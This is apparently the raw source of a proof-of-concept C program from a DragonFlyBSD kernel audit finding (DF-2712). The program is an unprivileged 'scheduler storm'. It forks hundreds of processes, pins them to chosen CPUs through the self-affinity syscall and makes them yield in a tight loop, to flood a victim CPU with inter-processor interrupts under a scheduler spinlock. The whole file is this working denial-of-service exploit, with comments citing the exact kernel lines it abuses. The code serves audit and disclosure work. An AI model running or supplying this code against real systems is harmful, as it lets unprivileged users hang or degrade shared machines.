⬢ DragonFlyBSD Kernel Audit
DF-2712 / df2712_storm2.c
← back to finding ↓ download raw
/*
 * df2712_storm2.c -- unprivileged pinned-thread scheduler storm for DF-2712.
 *
 * Usage: df2712_storm2 <victim_cpu> <n_victim> <n_sender> <seconds>
 *
 * Unprivileged primitives:
 *   - lwp_setaffinity(0, -1, mask) -- ALWAYS allowed for self
 *     (kern_usched.c:423 "Always allow change self CPU affinity",
 *     caps check skipped when pid==0), syscall #544.
 *   - sched_yield() -- drives need_user_resched -> acquire -> release ->
 *     bsd4_select_curproc -> bsd4_chooseproc_locked_cache_coherent under
 *     bsd4_spin.
 *
 * Storm shape:
 *   n_victim processes pin themselves to victim_cpu only and tight-yield.
 *     Their lwps are permanently runnable with lwp_cpumask excluding every
 *     other cpu, so every OTHER cpu's chooseproc_cc scan fails the
 *     CPUMASK_TESTMASK at usched_bsd4.c:1484 on those entries and calls
 *     bsd4_kick_helper -> lwkt_send_ipiq(victim) UNDER bsd4_spin (:1611),
 *     up to queue_checks (default 5) times per scan.
 *   n_sender processes pin themselves round-robin to the other cpus and
 *     tight-yield: constant chooseproc scans (kick generators) and
 *     constant bsd4_spin contention (spin-waiter role for the victim).
 *
 * Prints "STORM2-DONE ..." on survival.
 */
#include <sys/types.h>
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>
#include <sched.h>
#include <errno.h>

#define SYS_lwp_setaffinity 544

static double now(void)
{
	struct timespec ts;
	clock_gettime(CLOCK_MONOTONIC, &ts);
	return ts.tv_sec + ts.tv_nsec / 1e9;
}

static int pin_to_cpu(int cpu)
{
	unsigned long mask = 1UL << cpu;
	return syscall(SYS_lwp_setaffinity, 0, -1, &mask);
}

static void
worker(int cpu, long secs, double t0)
{
	volatile unsigned long n = 0;

	if (pin_to_cpu(cpu) < 0) {
		/* stay unpinned; run anyway */
	}
	while (now() - t0 < secs)
		n += sched_yield();
	_exit(0);
}

int
main(int argc, char **argv)
{
	int vcpu = 5, ncpu = 6;
	long nvic = 180, nsend = 60, secs = 60;
	long i, ok = 0, bad = 0;
	pid_t pid;
	double t0;
	size_t sz = sizeof(ncpu);

	if (argc > 1) vcpu = atoi(argv[1]);
	if (argc > 2) nvic = atol(argv[2]);
	if (argc > 3) nsend = atol(argv[3]);
	if (argc > 4) secs = atol(argv[4]);
	sysctlbyname("hw.ncpu", &ncpu, &sz, NULL, 0);
	if (vcpu >= ncpu) vcpu = ncpu - 1;

	t0 = now();
	for (i = 0; i < nvic; ++i) {
		pid = fork();
		if (pid == 0)
			worker(vcpu, secs, t0);
		if (pid < 0)
			break;
	}
	for (i = 0; i < nsend; ++i) {
		int c, k = 0;
		/* round-robin over the non-victim cpus */
		for (c = 0; c < ncpu && k <= i; ++k, c = (c + 1) % ncpu)
			if (c == vcpu) c = (c + 1) % ncpu;
		c = (i % (ncpu - 1));
		if (c >= vcpu) ++c;
		pid = fork();
		if (pid == 0)
			worker(c, secs, t0);
		if (pid < 0)
			break;
	}
	for (i = 0; i < nvic + nsend; ++i) {
		int st = 0;
		if (wait(&st) < 0) {
			if (errno == EINTR) { --i; continue; }
			break;
		}
		if (WIFEXITED(st) && WEXITSTATUS(st) == 0)
			++ok;
		else
			++bad;
	}
	printf("STORM2-DONE vcpu=%d nvic=%ld nsend=%ld ok=%ld bad=%ld secs=%ld\n",
	    vcpu, nvic, nsend, ok, bad, secs);
	return (bad != 0);
}